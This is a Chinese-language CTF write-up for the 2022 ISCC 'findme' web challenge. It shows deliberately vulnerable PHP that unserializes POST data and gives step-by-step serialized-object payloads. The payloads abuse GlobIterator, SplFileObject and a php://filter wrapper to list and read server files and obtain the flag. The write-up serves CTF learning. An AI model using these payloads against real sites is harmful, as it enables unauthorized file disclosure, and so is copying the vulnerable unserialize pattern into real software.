2022-ISCC-web-findme-writeup

0x01 题目

0x02 解题思路

访问题目地址,显示一张图片

F12查看元素,发现一个文件注释,访问

页面显示了代码

<?php
highlight_file(__FILE__);

class a{
    public $un0;
    public $un1;
    public $un2;
    public $un3;
    public $un4;
    
    public function __destruct(){
        if(!empty($this->un0) && empty($this->un2)){
            $this -> Givemeanew();
            if($this -> un3 === 'unserialize'){
                $this -> yigei();
            }
            else{
                $this -> giao();
            }
        }
    }

    public function Givemeanew(){
        $this -> un4 = new $this->un0($this -> un1);
    }

    public function yigei(){
        echo 'Your output: '.$this->un4;
    }
    
    public function giao(){
        @eval($this->un2);
    }
    
    public function __wakeup(){
        include $this -> un2.'hint.php';
    }
}

$data = $_POST['data'];
unserialize($data);

看到unserialize($data);是php 反序列化应用,关键函数

__destruct():对象被销毁之前调用
__wakeup()::当反序列化恢复成对象时调用此方法

根据代码,应该从__wakeup()开始,yigei()应该是最后调用的函数,想要调用yigei(),初步需要满足:

un0不为空、un2为空、un3 === 'unserialize'

初步满足条件后,就会调用Givemeanew()函数,可以构造un0作为类,un1作为参数来调用我们想要执行的操作

下来需要用到两个php类:GlobIteratorSplFileObject

GlobIterator:遍历一个文件系统

SplFileObject:读取大文件

使用GlobIterator类探测文件路径,现访问hint.php,构造提交参数

data=O:1:"a":5:{s:3:"un0";s:12:"GlobIterator";s:3:"un1";s:8:"hint.php";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}

请求后返回,说明hint.php就在当前目录下

使用SplFileObject类读取hint.php

data=O:1:"a":5:{s:3:"un0";s:13:"SplFileObject";s:3:"un1";s:8:"hint.php";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}

请求后没有返回,查看网页 元素发下多了个注释

推测提示使用php伪协议读文件

data=O:1:"a":5:{s:3:"un0";s:13:"SplFileObject";s:3:"un1";s:57:"php://filter/read=convert.base64-encode/resource=hint.php";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}

请求后 返回一串字符

md5解密

提示flag文件的位置和名字特征,GlobIterator类支持模糊匹配

data=O:1:"a":5:{s:3:"un0";s:12:"GlobIterator";s:3:"un1";s:6:"f*.txt";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}

得到flag文件名

再使用SplFileObject类读取

data=O:1:"a":5:{s:3:"un0";s:13:"SplFileObject";s:3:"un1";s:26:"fA1TE_GRo9rde_OScter5r.txt";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}

得到flag

posted @ 2022-05-26 18:06  pill0w  阅读(781)  评论(0)    收藏  举报